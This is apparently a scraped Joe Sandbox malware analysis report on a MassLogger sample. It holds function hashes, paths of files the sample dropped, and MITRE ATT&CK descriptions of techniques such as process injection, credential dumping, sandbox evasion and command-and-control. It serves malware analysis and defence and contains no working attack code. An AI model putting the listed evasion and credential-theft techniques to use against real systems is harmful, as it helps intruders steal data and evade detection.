Instruction Fuzzy Hash: E5015AB17102018FD729DF2AD988B16B7E6FFC9721F108469E64A8B365DEB1EC04CB50

Function 0123A4F9 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2905674530.0000000001230000.00000040.00000800.00020000.00000000.sdmp, Offset: 01230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1230000_nDVstwLnVvg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72b96203516749a7db26dc646130e0c68d3502804b71b3bd661f8de54ef5523c
Instruction ID: a685f17be70f49675f6ec39a4dc157c54ff5a87395c6302cb5857477504252b6
Opcode Fuzzy Hash: 72b96203516749a7db26dc646130e0c68d3502804b71b3bd661f8de54ef5523c
Instruction Fuzzy Hash: 5B015E71E0015A9FCF15DFA8A854AAE7FB5FF89310B00403AEA99D3245D7344911DBA2

Function 0123C1A0 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2905674530.0000000001230000.00000040.00000800.00020000.00000000.sdmp, Offset: 01230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1230000_nDVstwLnVvg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 746dbc132ffae63f709b1957aea6d3f606d868b79f7317eb3ad2bffb321f94fb
Instruction ID: 289e5f657cf114f49a63ce80572f6dd05028c7cc6976dbc53e06f8c027f30553
Opcode Fuzzy Hash: 746dbc132ffae63f709b1957aea6d3f606d868b79f7317eb3ad2bffb321f94fb
Instruction Fuzzy Hash: 3AF0F6727042125FCB165B7DA81456E7FA9DFC622070800A7E548DB261CE31DC029760

Function 0123B9EA Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2905674530.0000000001230000.00000040.00000800.00020000.00000000.sdmp, Offset: 01230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1230000_nDVstwLnVvg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09f1589015278d6dcc721d19b4853e07dd769fdad4dcb77fd98f096d33bbae15
Instruction ID: fe28dc195fdd47a73f2f8c6ba900ab15702de9c4d3e6ed4d87973517bed33ea9
Opcode Fuzzy Hash: 09f1589015278d6dcc721d19b4853e07dd769fdad4dcb77fd98f096d33bbae15
Instruction Fuzzy Hash: 66F0AF71904208AF8B21DFB9C880AAEBFF6FF893507044266E545D7215E670A912CBD1

Function 012346C9 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2905674530.0000000001230000.00000040.00000800.00020000.00000000.sdmp, Offset: 01230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1230000_nDVstwLnVvg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: edad9b73c60a0f7ed8a6cba92d8534cc075445886a6097107c7ee12693136028
Instruction ID: 9581b71b2c465241aeae1c1ab494347a56c46c115ad2aa4ddd6330733d51047d
Opcode Fuzzy Hash: edad9b73c60a0f7ed8a6cba92d8534cc075445886a6097107c7ee12693136028
Instruction Fuzzy Hash: CEF0FE384653428FD3B91BF0B86C16A3FF2EF0B3177056D61E41AD9015CB640485CF10

Function 0123BE98 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2905674530.0000000001230000.00000040.00000800.00020000.00000000.sdmp, Offset: 01230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1230000_nDVstwLnVvg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc91497f2101db2493b7009a3753b78c10b04226ab4a2907d1fe070f5544d06e
Instruction ID: d4a8d26fdc1a9e778c4a86e92e49b94cd5bb7ed315c8937fad8b6a18ecc8f08c
Opcode Fuzzy Hash: cc91497f2101db2493b7009a3753b78c10b04226ab4a2907d1fe070f5544d06e
Instruction Fuzzy Hash: 70F03A35340105DFC701DF69D484D6ABBEAFF887217544069EA0987331CB719C11CB90

Function 012346D8 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2905674530.0000000001230000.00000040.00000800.00020000.00000000.sdmp, Offset: 01230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1230000_nDVstwLnVvg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c125daeb31aa64c86b10e18a6bf470b9c59eca847fdb51f34ea5ce1a98e5b5b
Instruction ID: 4782fa898c5a12cb1bd83a01aa4d8e385686f7f74f4f0a21a59ae12614ed18b8
Opcode Fuzzy Hash: 5c125daeb31aa64c86b10e18a6bf470b9c59eca847fdb51f34ea5ce1a98e5b5b
Instruction Fuzzy Hash: 17E0FE784213078BD6AC2BE4B5AC23A7AA6EF0B31BB446D20A12AD94199F7044D48F55

Function 01231877 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2905674530.0000000001230000.00000040.00000800.00020000.00000000.sdmp, Offset: 01230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1230000_nDVstwLnVvg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b130dc126fdb4c128f88949320f647afce94a199f2fb95f286e21137c3fb9813
Instruction ID: 645005b49084225711b4ad0040924dff47a0fb414e8f4a11dde6c4e80ae18f2e
Opcode Fuzzy Hash: b130dc126fdb4c128f88949320f647afce94a199f2fb95f286e21137c3fb9813
Instruction Fuzzy Hash: 39E0D835D513178BC7019FB0DD000DD7334AD82221B148253C06936551EB70165EC6A2

Function 01231888 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2905674530.0000000001230000.00000040.00000800.00020000.00000000.sdmp, Offset: 01230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1230000_nDVstwLnVvg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9da4653c5a2150fed3087e5a397a37839e3c67deabd9876b143c34ca2204b107
Instruction ID: 38500f3bade9f6392afe9a83f925e0f025d31839c3fe1b8d4446b912d8b1d3f2
Opcode Fuzzy Hash: 9da4653c5a2150fed3087e5a397a37839e3c67deabd9876b143c34ca2204b107
Instruction Fuzzy Hash: 72D01231D2022A578B00AAA5DC044EEB738EE95665B504626D55437140EB70665986A2

Function 0123BF48 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2905674530.0000000001230000.00000040.00000800.00020000.00000000.sdmp, Offset: 01230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1230000_nDVstwLnVvg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 801ded79c6f548d9fae13a1c66ad17b7a8018e55d31f9ad0c080f35315f100a6
Instruction ID: 345d4010a51dfe8dfa9eff3953043b5460747285ec87129187af58558b26d3bf
Opcode Fuzzy Hash: 801ded79c6f548d9fae13a1c66ad17b7a8018e55d31f9ad0c080f35315f100a6
Instruction Fuzzy Hash: A1D0C737341114774B052B49A8048AE7B5EF7CD7727048027F91583354CE758D1197D5

Function 01234831 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2905674530.0000000001230000.00000040.00000800.00020000.00000000.sdmp, Offset: 01230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1230000_nDVstwLnVvg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a996f9ad646c47714b2906c99e3374946092e134bdc863dd3eae069a9b76247b
Instruction ID: e06bd775af30ac334121c2b0859efda42cbb0fa633df5c06cc5cb331dcc4730e
Opcode Fuzzy Hash: a996f9ad646c47714b2906c99e3374946092e134bdc863dd3eae069a9b76247b
Instruction Fuzzy Hash: BDC08C6400D2C00FCF5313606C6A0663FB0AD4320071408CAD0814A01BE3401212C742

Non-executed Functions

Function 01231A40 Relevance: 5.1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

Strings

Xbq, xrefs: 01231A76
Xbq, xrefs: 01231B7C
Xbq, xrefs: 01231B2F
Xbq, xrefs: 01231AB0

Memory Dump Source

Source File: 0000000C.00000002.2905674530.0000000001230000.00000040.00000800.00020000.00000000.sdmp, Offset: 01230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1230000_nDVstwLnVvg.jbxd

Similarity

API ID:
String ID: Xbq$Xbq$Xbq$Xbq
API String ID: 0-2732225958
Opcode ID: 8064a0e479a50db349fb2204e2e76e595209c7950d35c8117a6cdff18dd1ee3b
Instruction ID: 189f2116f0f102fac546c6bdc6af9532f2930baedf6febc5d88f6da934d7971f
Opcode Fuzzy Hash: 8064a0e479a50db349fb2204e2e76e595209c7950d35c8117a6cdff18dd1ee3b
Instruction Fuzzy Hash: A83191B0E1021B8FDF698BAD89413AEBAF6ABC4310F144079C605A7255EB308991CF92

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report MB263350411AE_1.scr.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: MassLogger

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Persistence and Installation Behavior

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\MB263350411AE_1.scr.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\nDVstwLnVvg.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4aofbqg1.hr4.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_htqjajva.q20.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_powqw24z.c0j.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qivsc5nn.s4r.psm1

C:\Users\user\AppData\Local\Temp\tmp1488.tmp

C:\Users\user\AppData\Local\Temp\tmp1DC0.tmp

C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe

C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe:Zone.Identifier

Static File Info

General

Windows Analysis Report
MB263350411AE_1.scr.exe

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre